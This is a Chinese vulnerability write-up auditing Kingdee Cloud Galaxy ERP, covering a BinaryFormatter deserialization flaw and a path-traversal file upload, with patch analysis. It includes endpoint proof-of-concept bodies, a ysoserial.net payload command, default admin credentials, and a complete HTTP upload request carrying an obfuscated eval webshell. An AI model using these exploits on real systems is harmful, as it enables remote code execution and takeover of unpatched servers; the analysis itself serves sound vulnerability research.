金蝶云星空 代码审计
bmth666 发表于 浙江 漏洞分析 2909浏览 · 2024-02-06 04:40


安得广厦千万间,大庇天下寒士俱欢颜,风雨不动安如山。

环境搭建

安装参考:
金蝶云星空 产品安装指南
金蝶云星空安装教程(附新版及稳定版客户端安装包下载地址)

傻瓜式安装即可,K3Cloud默认安装路径为C:\Program Files (x86)\Kingdee\K3Cloud\WebSite

访问8000端口的管理中心,默认管理员用户名:Administrator,密码:888888,后续创建SQL Server数据中心等等就不多赘述了

调试

接下来就是动调,使用工具:

从Web.config可知,使用Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler类处理*.kdsvc的路径

得到对应的dll文件为Kingdee.BOS.ServiceFacade.KDServiceFx.DLL,管理员身份运行ProcessHacker,执行Find Handles or DLLs

找到包含 k3cloud 路径的dll文件,在该位置文件下新建一个同名的 .ini 文件

[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0

该文件的作用是禁用编译优化,重启IIS启用(打开 cmd 使用 iisreset 命令重启 IIS 服务器)

然后将这个目录下的Kingdee.BOS.ServiceFacade.KDServiceFx.dll文件加载到 dnsPy 中,找到对应的进程 ID

管理员身份运行dnSpy,调试-->附加到进程-->选择相应的进程ID-->附加

代码审计

查看调用堆栈:Ctrl+Alt+C
搜索程序集:Ctrl+Shift+K

反序列化

受影响版本与补丁号范围信息如下:

产品版本 补丁号范围
金蝶云星空V8.X所有私有云、私有云(订阅)和混合云版本 PT-146903 [8.0.0.202202]至PT-149006 [8.1.0.20230608]
金蝶云星空V7.X所有私有云、私有云(订阅)和混合云版本 PT116278 [7.0.352.16]至PT-146899 [7.7.0.202112]
金蝶云星空V6.2及以下所有私有云版本 PT123230 [6.2.1012.4]及以下版本与补丁

看到Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler

返回程序实例 KDSVCHandler
跟进Kingdee.BOS.ServiceFacade.KDServiceFx.KDSVCHandler

依次调用 ProcessRequest->ProcessRequestInternal->ExecuteRequest 方法

Kingdee.BOS.ServiceFacade.KDServiceFx.RequestExcuteRuntime#StartRequest

跟进后会执行到69行的

string text3 = webCtx.Context.Server.MapPath(path);
ServiceType serviceType = ServiceTypeManager.BuidServiceType(text3);

根据请求路径加载对应程序集,然后在程序集中寻找对应的类和方法等

接着调用到87行的

RequestExcuteRuntime.pipeline.ExcuteRequest(kdserviceContext);

跟进Kingdee.BOS.ServiceFacade.KDServiceFx.ModulePipeline#ExcuteRequest

对Modules遍历,从而调用不同的OnProcess方法

漏洞点在Kingdee.BOS.ServiceFacade.KDServiceFx.ExecuteServiceModule#OnProcess

首先看到 GetServiceParameters

public string[] GetServiceParameters(string[] paras)
{
    string[] array = new string[paras.Length];
    if (this.form.AllKeys.Contains("parameters"))
    {
        string text = this.form["parameters"];
        JSONArray jsonarray = new JSONArray(text);
        int num = Math.Min(jsonarray.Count, array.Length);
        for (int i = 0; i < num; i++)
        {
            if (jsonarray[i] == null)
            {
                array[i] = string.Empty;
            }
            else
            {
                Type type = jsonarray[i].GetType();
                if (type.IsValueType || type == typeof(string))
                {
                    array[i] = jsonarray[i].ToString();
                }
                else
                {
                    array[i] = jsonarray.GetJsonString(i);
                }
            }
        }
    }
    else
    {
        int num2 = 0;
        for (int j = 0; j < paras.Length; j++)
        {
            array[j] = this.form[paras[j]];
            if (array[j] == null)
            {
                array[j] = this.form["ap" + num2++];
            }
        }
    }
    return array;
}

即获取参数的方法:

  1. 如果在POST参数中存在 parameters 键,则将该参数解析为⼀个 JSONArray 对象
  2. 如果不存在,则根据所需的参数数量进行for循环,以 ap 为开头,依次遍历数字

那么就存在两种传参方式:

{"ap0":"payload","format":"3"}
{"parameters":["payload"],"format":"3"}

往下看,创建了⼀个 serializerProxy 序列化代理器,它会根据format的值创建对应的序列化类

由于我们这里format传的值为3

即Binary

返回⼀个BinaryFormatterProxy类

最后会调用Kingdee.BOS.ServiceFacade.KDServiceFx.ServiceExecutor#Execute

先要满足 Activator.CreateInstance 实例化,即 svcType.MapToCLRType 的构造函数需要支持传递 context(KDServiceContext)类型或者继承该类型的参数

object obj = Activator.CreateInstance(svcType.MapToCLRType, new object[] { context });
object[] array = this.DeserializeParameters(serializeProxy, svcType, paraValues);

继续跟进

遍历参数并进行反序列化,跟进发现对参数类型进行了限制

public object Deserialize(string content, Type type)
{
    if (string.IsNullOrEmpty(content))
    {
        if (type.IsValueType)
        {
            return Activator.CreateInstance(type);
        }
        if (type.Equals(typeof(string)))
        {
            return content;
        }
        return null;
    }
    else if (type == typeof(string))
    {
        if (this.proxy.RequireEncoding)
        {
            byte[] array = this.proxy.Encoder.Decoding(content);
            return this.encoding.GetString(array, 0, array.Length);
        }
        return content;
    }
    else
    {
        if (type.IsEnum)
        {
            return Enum.Parse(type, content, true);
        }
        if (type == typeof(int))
        {
            return int.Parse(content);
        }
        if (type == typeof(byte))
        {
            return byte.Parse(content);
        }
        if (type == typeof(float))
        {
            return float.Parse(content);
        }
        if (type == typeof(double))
        {
            return double.Parse(content);
        }
        if (type == typeof(long))
        {
            return long.Parse(content);
        }
        if (type == typeof(DateTime))
        {
            return DateTime.Parse(content);
        }
        if (type == typeof(decimal))
        {
            return decimal.Parse(content);
        }
        if (type == typeof(bool))
        {
            return bool.Parse(content);
        }
        return this.proxy.Deserialize(content, type);
    }
}

参数类型不能为string、int、byte、float、double、long等等,我们可以使用如:Object、List、JSONArray等类型,最终调用this.proxy.Deserialize(content, type)方法实现反序列化,即BinaryFormatter反序列化:https://learn.microsoft.com/zh-cn/dotnet/standard/serialization/binaryformatter-security-guide?source=recommendations#binaryformatter-security-vulnerabilities

漏洞利用

看到文件Kingdee.BOS.ServiceFacade.ServicesStub.dll,里面存在大量可利用的类

对应poc:

/K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBillData.common.kdsvc

{"ap0":"1","ap1":"1","ap2":"payload","format":"3"}

对应poc:

/K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.BizTipsInfosService.SaveBizTipsInfos.common.kdsvc

{"ap0":"1","ap1":"payload","format":"3"}

最后使用工具:https://github.com/pwntester/ysoserial.net,生成回显poc

ysoserial.exe -c "ExploitClass.cs;System.Windows.Forms.dll;System.Web.dll;System.dll" -f BinaryFormatter -o base64 -g ActivitySurrogateSelectorFromFile

漏洞修复&绕过风险

补丁下载地址:https://open.kingdee.com/K3Cloud/Open/PTDownload.aspx

发现在Kingdee\K3Cloud\WebSite\App_Data\Common.config进行了安全加固

<add key="KDSVCDefaultFormat" value="4"/>    
<add key="EnabledKDSVCBinary" value="false"/>     
<add key="EnabledKDSVCDataCheckSum" value="true"/>

禁用Binary,启用了新的数据签名校验格式:KingdeeXml,在版本【PT-146930 [8.1.0.20221110] 发布时间:2022/11/10 构建号:8.1.410.13】及之后生效,之前的版本并不支持

打补丁:PT-151002 [8.1.0.20230921] 测试一下

但是使用KingdeeXml真的安全吗?

看到当format为4时,会创建⼀个XmlSerializerProxy代理器

看到它的Deserialize方法,Kingdee.BOS.ServiceFacade.XmlSerializerProxy#Deserialize

先经过 NetDataContractSerializer 反序列化成 KingdeeXMLPack 对象,最终还是调用了 BinaryFormatterProxy 处理 kingdeeXMLPack.Data

但是官方在反序列化前增加了this.UnpackCheckSum(content)方法进行检测

如果开启了 DataCheckSum 并且传入的数据为xml格式,就会进入后续验证,也就防止了不安全的反序列化

ScpSupRegHandler任意文件上传

影响版本:V6.2(含17年12月补丁) 至 V8.1(含23年9月补丁)

看到配置文件Kingdee\K3Cloud\WebSite\App_Data\Common.config

发现是使用Kingdee.K3.SCM.SCP.Business.PlugIn.ScpSupRegHandler类处理SRM/ScpSupRegHandler接口

如果存在文件上传操作,则调用 SaveAttach 方法处理

首先是Path.GetExtension(httpPostedFile.FileName)获取文件扩展名,将.替换为空,变为小写,然后使用白名单判断

乍看貌似是没问题的,但是如果我们传入的文件为test.aspx.

"txt,pdf,doc,docx,xls,xlsx,ppt,pptx,rft,jpg,png,bmp,gif,jpeg,rar,zip,dat,key,msg,cad,btw,avi,rmvb,wps,et,dps,vsd".Contains(text)

那么text就为空,恒为真

后续需要传递参数FID和dbId_v

确保不异常退出

最后就是文件上传,看到直接使用+进行拼接,并且未做重命名处理

可以利用../跨目录,并且由于windows上传特性,会删除最后一个点,即上传文件名可以为../../../../uploadfiles/test.aspx.

漏洞利用

POST /K3Cloud/SRM/ScpSupRegHandler HTTP/1.1
Host: 192.168.111.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------606727559931226829481104
Content-Length: 610

----------------------------606727559931226829481104
Content-Disposition: form-data; name="dbId_v"

.
----------------------------606727559931226829481104
Content-Disposition: form-data; name="FID"

2024
----------------------------606727559931226829481104
Content-Disposition: form-data; name="file"; filename="../../../../uploadfiles/test.aspx."
Content-Type: text/plain

<% function EE82o3kp(){var GEPH="unsa",YACK="fe",CO0C=GEPH+YACK;return CO0C;}var PAY:String=Request["123"];~eval/*Za61vZ34F4*/(PAY,EE82o3kp());%><%@Page Language = JS%>
----------------------------606727559931226829481104--

蚁剑连接

漏洞修复

下载最新补丁

看到后续新增了 ValidateWhiteList 方法处理文件名

跟进发现检测了扩展名:

  1. 不能为空或者NULL
  2. 不能包含特殊字符:\\/:*?\"<>|;

这样也就避免了目录穿越以及后缀绕过的可能了

总结

很经典的windows文件上传姿势,学习到了,当然ASP.NET的反序列化也是历久弥新,找机会好好深入学习一下( ̄□ ̄)

参考:
.NET安全系列 | 某蝶K3Cloud最新反序列化分析
从入门 .NET 到分析金蝶反序列化漏洞学习笔记
某云星空的前台反序列化和任意文件上传漏洞分析
某云的反序列漏洞及绕过思路分析

0 条评论
某人
表情
可输入 255

没有评论